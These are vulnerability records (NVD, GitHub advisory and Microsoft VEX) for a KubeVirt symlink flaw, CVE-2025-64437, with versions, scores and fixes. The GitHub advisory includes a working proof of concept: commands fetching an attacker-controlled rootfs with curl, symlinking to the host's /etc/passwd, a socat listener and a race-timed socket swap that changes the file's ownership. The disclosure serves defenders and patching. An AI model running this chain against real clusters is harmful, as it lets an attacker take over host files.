{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:*",
              "matchCriteriaId": "D06A16D0-A19D-4FC9-BBB2-DD155157AD8E",
              "versionEndExcluding": "1.5.3",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:kubevirt:kubevirt:1.6.0:*:*:*:*:kubernetes:*:*",
              "matchCriteriaId": "78254CFF-E38D-4C0A-AB4B-3F41FCBB2A3C",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "KubeVirt is a virtual machine management add-on for Kubernetes. In versions before 1.5.3 and 1.6.1, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod. This vulnerability is fixed in 1.5.3 and 1.6.1."
    },
    {
      "lang": "es",
      "value": "KubeVirt es un complemento de gesti\u00f3n de m\u00e1quinas virtuales para Kubernetes. En versiones anteriores a la 1.5.3 y 1.6.1, el virt-handler no verifica si el launcher-sock es un enlace simb\u00f3lico o un archivo regular. Este descuido puede ser explotado, por ejemplo, para cambiar la propiedad de archivos arbitrarios en el nodo anfitri\u00f3n al usuario sin privilegios con UID 107 (el mismo usuario utilizado por virt-launcher), comprometiendo as\u00ed la CIA (Confidencialidad, Integridad y Disponibilidad) de los datos en el anfitri\u00f3n. Para explotar con \u00e9xito esta vulnerabilidad, un atacante deber\u00eda tener el control del sistema de archivos del pod virt-launcher. Esta vulnerabilidad est\u00e1 corregida en las versiones 1.5.3 y 1.6.1."
    }
  ],
  "id": "CVE-2025-64437",
  "lastModified": "2025-11-25T17:16:45.050",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "LOCAL",
          "availabilityImpact": "LOW",
          "baseScore": 5.0,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 0.8,
        "impactScore": 3.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-11-07T23:15:46.147",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/kubevirt/kubevirt/commit/3ce9f41c54d04a65f10b23a46771391c00659afb"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/kubevirt/kubevirt/commit/8644dbe0d04784b0bfa8395b91ecbd6001f88f6b"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/kubevirt/kubevirt/commit/f59ca63133f25de8fceb3e2a0e5cc0b7bdb6a265"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-2r4r-5x78-mvqf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-59"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "kubevirt.io/kubevirt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "kubevirt.io/kubevirt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0-alpha.0"
            },
            {
              "fixed": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-06T23:36:39Z",
    "nvd_published_at": "2025-11-07T23:15:46Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible.\n\nIt is possible to trick the `virt-handler` component into changing the ownership of arbitrary files on the host node to the unprivileged user with UID `107` due to mishandling of symlinks when determining the root mount of a `virt-launcher` pod.\n\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nIn the current implementation, the `virt-handler` does not verify whether the `launcher-sock` is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID `107` (the same user used by `virt-launcher`) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. \nTo successfully exploit this vulnerability, an attacker should be in control of the file system of the `virt-launcher` pod.\n\n\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nIn this demonstration, two additional vulnerabilities are combined with the primary issue to arbitrarily change the ownership of a file located on the host node:\n\n1. A symbolic link (`launcher-sock`) is used to manipulate the interpretation of the root mount within the affected container, effectively bypassing expected isolation boundaries.\n2. Another symbolic link (`disk.img`) is employed to [alter the perceived location of data within a PVC](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq), redirecting it to a file owned by root on the host filesystem.\n3. As a result, [the ownership of an existing host file owned by root is changed to a less privileged user with UID 107](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-46xp-26xh-hpqh).\n\n\nIt is assumed that an attacker has access to a `virt-launcher` pod\u0027s file system (for example, [obtained using another vulnerability](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-9m94-w2vq-hcf9)) and also has access to the host file system with the privileges of the `qemu` user (`UID=107`). It is also assumed that they can create unprivileged user namespaces:\n\n```bash\nadmin@minikube:~$ sysctl -w kernel.unprivileged_userns_clone=1\n```\n\nThe below is inspired by [an article](https://blog.quarkslab.com/digging-into-linux-namespaces-part-2.html), where the attacker constructs an isolated environment solely using Linux namespaces and an augmented Alpine container root file system.\n\n```bash\n# Download an container file system from an attacker-controlled location\nqemu-compromised@minikube:~$ curl http://host.minikube.internal:13337/augmented-alpine.tar -o augmented-alpine.tar\n# Create a directory and extract the file system in it\nqemu-compromised@minikube:~$  mkdir rootfs_alpine \u0026\u0026 tar -xf augmented-alpine.tar -C rootfs_alpine\n# Create a MOUNT and remapped USER namespace environment and execute a shell process in it\nqemu-compromised@minikube:~$ unshare --user --map-root-user --mount sh\n# Bind-mount the alpine rootfs, move into it and create a directory for the old rootfs.\n# The user is root in its new USER namesapce\nroot@minikube:~$ mount --bind rootfs_alpine rootfs_alpine \u0026\u0026 cd rootfs_alpine \u0026\u0026 mkdir hostfs_root\n# Swap the current root of the process and store the old one within a directory\nroot@minikube:~$ pivot_root . hostfs_root \nroot@minikube:~$ export PATH=/bin:/usr/bin:/usr/sbin\n# Create the directory with the same path as the PVC mounted within the `virt-launcher`. In it `virt-handler` will search for a `disk.img` file associated with a volume mount\nroot@minikube:~$ PVC_PATH=\"/var/run/kubevirt-private/vmi-disks/corrupted-pvc\" \u0026\u0026 \\\nmkdir -p \"${PVC_PATH}\" \u0026\u0026 \\\ncd \"${PVC_PATH}\"\n# Create the `disk.img` symlink pointing to `/etc/passwd` of the host in the old root mount directory\nroot@minikube:~$ ln -sf ../../../../../../../../../../../../hostfs_root/etc/passwd disk.img\n# Create the socket wich will confuse the isolator detector and start listening on it\nroot@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr -\n```\n\n\nAfter the environment is set, the `launcher-sock` in the `virt-launcher` container should be replaced with a symlink to `../../../../../../../../../proc/2245509/root/tmp/bad.sock` (2245509 is the PID of the above isolated shell process). This should be done, however, in a the right moment. For this demonstration, it was decided to trigger the bug while leveraging a race condition when creating or updating a VMI:\n\n```go\n//pkg/virt-handler/vm.go\n\nfunc (c *VirtualMachineController) vmUpdateHelperDefault(origVMI *v1.VirtualMachineInstance, domainExists bool) error {\n  // ...\n  //!!! MK: the change should happen here before executing the below line !!!\n  isolationRes, err := c.podIsolationDetector.Detect(vmi)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(failedDetectIsolationFmt, err)\n\t\t}\n\t\tvirtLauncherRootMount, err := isolationRes.MountRoot()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// ...\n\n\t\t// initialize disks images for empty PVC\n\t\thostDiskCreator := hostdisk.NewHostDiskCreator(c.recorder, lessPVCSpaceToleration, minimumPVCReserveBytes, virtLauncherRootMount)\n\t\t// MK: here the permissions are changed\n\t\terr = hostDiskCreator.Create(vmi)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"preparing host-disks failed: %v\", err)\n\t\t}\n    // ...\n\n```\n\nThe manifest of the #acr(\"vmi\") which is going to trigger the bug is:\n\n```yaml\n# The PVC will be used for the `disk.img` related bug\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: corrupted-pvc\nspec:\n  accessModes:\n    - ReadWriteMany\n  resources:\n    requests:\n      storage: 500Mi\n---\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n  labels:\n  name: launcher-symlink-confusion\nspec:\n  domain:\n    devices:\n      disks:\n      - name: containerdisk\n        disk:\n          bus: virtio\n      - name: corrupted-pvc\n        disk:\n          bus: virtio\n      - name: cloudinitdisk\n        disk:\n          bus: virtio\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - name: containerdisk\n    containerDisk:\n      image: quay.io/kubevirt/cirros-container-disk-demo\n  - name: corrupted-pvc\n    persistentVolumeClaim:\n      claimName: corrupted-pvc\n  - name: cloudinitdisk      \n    cloudInitNoCloud:\n      userDataBase64: SGkuXG4=\n```\n\nJust before the line is executed, the attacker should replace the `launcher-sock` with a symlink to the `bad.sock` controlled by the isolated process:\n\n```bash\n# the namespaced process controlled by the attacker has pid=2245509\nqemu-compromised@minikube:~$ p=$(pgrep -af \"/usr/bin/virt-launcher\" | grep -v virt-launcher-monitor | awk \u0027{print $1}\u0027) \u0026\u0026  ln -sf ../../../../../../../../../proc/2245509/root/tmp/bad.sock /proc/$p/root/var/run/kubevirt/sockets/launcher-sock\n```\n\n\nUpon successful exploitation, `virt-launcher` connects to the attacker controlled socket, misinterprets the root mount and changes the permissions of the host\u0027s `/etc/passwd` file:\n\n\n```bash\n# `virt-launcher` connects successfully\nroot@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr -\n...\n2025/05/27 17:17:35 socat[2245509] N accepting connection from AF=1 \"\u003canon\u003e\" on AF=1 \"/tmp/bad.sock\"\n2025/05/27 17:17:35 socat[2245509] N forked off child process 2252010\n2025/05/27 17:17:35 socat[2245509] N listening on AF=1 \"/tmp/bad.sock\"\n2025/05/27 17:17:35 socat[2252010] N reading from and writing to stdio\n2025/05/27 17:17:35 socat[2252010] N starting data transfer loop with FDs [6,6] and [0,1]\nPRI * HTTP/2.0\n```\n\n```bash\nadmin@minikube:~$ ls -al /etc/passwd\n-rw-r--r--. 1 compromised-qemu systemd-resolve 1337 May 23 13:19 /etc/passwd\n\nadmin@minikube:~$ cat /etc/passwd\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n_rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin\nsystemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nstatd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin\nsshd:x:105:65534::/run/sshd:/usr/sbin/nologin\ndocker:x:1000:999:,,,:/home/docker:/bin/bash\ncompromised-qemu:x:107:107::/home/compromised-qemu:/bin/bash\n```\n\nThe attacker controlling an unprivileged user can now update the contents of the file.\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID `107` (the same user used by `virt-launcher`) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host.",
  "id": "GHSA-2r4r-5x78-mvqf",
  "modified": "2025-11-17T21:41:52Z",
  "published": "2025-11-06T23:36:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-2r4r-5x78-mvqf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64437"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/3ce9f41c54d04a65f10b23a46771391c00659afb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/8644dbe0d04784b0bfa8395b91ecbd6001f88f6b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/f59ca63133f25de8fceb3e2a0e5cc0b7bdb6a265"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kubevirt/kubevirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes"
}

{
  "document": {
    "category": "csaf_vex",
    "csaf_version": "2.0",
    "distribution": {
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        "url": "https://www.first.org/tlp/"
      }
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    "lang": "en-US",
    "notes": [
      {
        "category": "general",
        "text": "To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle",
        "title": "Additional Resources"
      },
      {
        "category": "legal_disclaimer",
        "text": "The information provided in the Microsoft Knowledge Base is provided \\\"as is\\\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.",
        "title": "Disclaimer"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "secure@microsoft.com",
      "name": "Microsoft Security Response Center",
      "namespace": "https://msrc.microsoft.com"
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    "references": [
      {
        "category": "self",
        "summary": "CVE-2025-64437 KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes - VEX",
        "url": "https://msrc.microsoft.com/csaf/vex/2025/msrc_cve-2025-64437.json"
      },
      {
        "category": "external",
        "summary": "Microsoft Support Lifecycle",
        "url": "https://support.microsoft.com/lifecycle"
      },
      {
        "category": "external",
        "summary": "Common Vulnerability Scoring System",
        "url": "https://www.first.org/cvss"
      }
    ],
    "title": "KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes",
    "tracking": {
      "current_release_date": "2025-11-09T01:02:09.000Z",
      "generator": {
        "date": "2025-12-03T22:59:15.054Z",
        "engine": {
          "name": "MSRC Generator",
          "version": "1.0"
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      "id": "msrc_CVE-2025-64437",
      "initial_release_date": "2025-11-02T00:00:00.000Z",
      "revision_history": [
        {
          "date": "2025-11-09T01:02:09.000Z",
          "legacy_version": "1",
          "number": "1",
          "summary": "Information published."
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      "status": "final",
      "version": "1"
    }
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  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "2.0",
                "product": {
                  "name": "CBL Mariner 2.0",
                  "product_id": "17086"
                }
              },
              {
                "category": "product_version",
                "name": "3.0",
                "product": {
                  "name": "Azure Linux 3.0",
                  "product_id": "17084"
                }
              }
            ],
            "category": "product_name",
            "name": "Azure Linux"
          },
          {
            "branches": [
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                "category": "product_version_range",
                "name": "cbl2 kubevirt 0.59.0-30",
                "product": {
                  "name": "cbl2 kubevirt 0.59.0-30",
                  "product_id": "2"
                }
              },
              {
                "category": "product_version_range",
                "name": "\u003cazl3 kubevirt 1.5.0-5",
                "product": {
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                  "product_id": "1"
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        "category": "vendor",
        "name": "Microsoft"
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          "name": "cbl2 kubevirt 0.59.0-30 as a component of CBL Mariner 2.0",
          "product_id": "17086-2"
        },
        "product_reference": "2",
        "relates_to_product_reference": "17086"
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          "name": "\u003cazl3 kubevirt 1.5.0-5 as a component of Azure Linux 3.0",
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        },
        "product_reference": "20656",
        "relates_to_product_reference": "17084"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2025-64437",
      "cwe": {
        "id": "CWE-59",
        "name": "Improper Link Resolution Before File Access (\u0026#39;Link Following\u0026#39;)"
      },
      "notes": [
        {
          "category": "general",
          "text": "GitHub_M",
          "title": "Assigning CNA"
        }
      ],
      "product_status": {
        "fixed": [
          "20656-17084"
        ],
        "known_affected": [
          "17086-2",
          "17084-1"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "CVE-2025-64437 KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes - VEX",
          "url": "https://msrc.microsoft.com/csaf/vex/2025/msrc_cve-2025-64437.json"
        }
      ],
      "remediations": [
        {
          "category": "none_available",
          "date": "2025-11-09T01:02:09.000Z",
          "details": "There is no fix available for this vulnerability as of now",
          "product_ids": [
            "17086-2"
          ]
        },
        {
          "category": "vendor_fix",
          "date": "2025-11-09T01:02:09.000Z",
          "details": "1.5.3-1:Security Update:https://learn.microsoft.com/en-us/azure/azure-linux/tutorial-azure-linux-upgrade",
          "product_ids": [
            "17084-1"
          ],
          "url": "https://learn.microsoft.com/en-us/azure/azure-linux/tutorial-azure-linux-upgrade"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "LOCAL",
            "availabilityImpact": "LOW",
            "baseScore": 5.0,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "environmentalsScore": 0.0,
            "integrityImpact": "LOW",
            "privilegesRequired": "HIGH",
            "scope": "CHANGED",
            "temporalScore": 5.0,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L",
            "version": "3.1"
          },
          "products": [
            "17086-2",
            "17084-1"
          ]
        }
      ],
      "title": "KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes"
    }
  ]
}